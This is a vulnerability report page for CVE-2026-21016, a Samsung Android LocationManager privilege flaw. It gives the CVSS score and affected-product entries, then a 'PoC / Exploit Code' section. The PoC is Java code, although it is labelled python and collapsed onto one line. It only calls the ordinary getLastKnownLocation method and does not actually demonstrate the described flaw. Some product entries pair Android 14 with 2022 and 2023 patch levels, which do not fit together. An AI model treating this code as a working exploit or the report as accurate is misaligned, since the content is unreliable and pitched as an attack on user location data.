Security Vulnerability Report
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CVE-2026-21016 CVSS 5.5 MEDIUM

CVE-2026-21016

Published: 2026-05-13 06:16:13
Last Modified: 2026-05-13 17:51:15

Description

Incorrect privilege assignment in LocationManager prior to SMR May-2026 Release 1 allows local attackers to access sensitive information.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE
Samsung Mobile Devices (SMR May-2026 Release 1 之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import android.content.Context; import android.location.Location; import android.location.LocationManager; public class CVE_2026_21016_PoC { // This PoC demonstrates accessing sensitive location data // due to incorrect privilege assignment in LocationManager. public void leakSensitiveInfo(Context context) { LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); try { // In vulnerable versions, this check might be bypassed // or the permission requirement is incorrectly assigned. String provider = LocationManager.GPS_PROVIDER; // Attempt to retrieve last known location without standard permission checks Location lastLocation = locationManager.getLastKnownLocation(provider); if (lastLocation != null) { double latitude = lastLocation.getLatitude(); double longitude = lastLocation.getLongitude(); // Sensitive information successfully accessed System.out.println("Exploit Success: Lat=" + latitude + ", Lon=" + longitude); } else { System.out.println("Location data currently unavailable."); } } catch (SecurityException e) { // If patched, this exception will be thrown System.err.println("Exploit Failed: SecurityException thrown."); e.printStackTrace(); } } }

References

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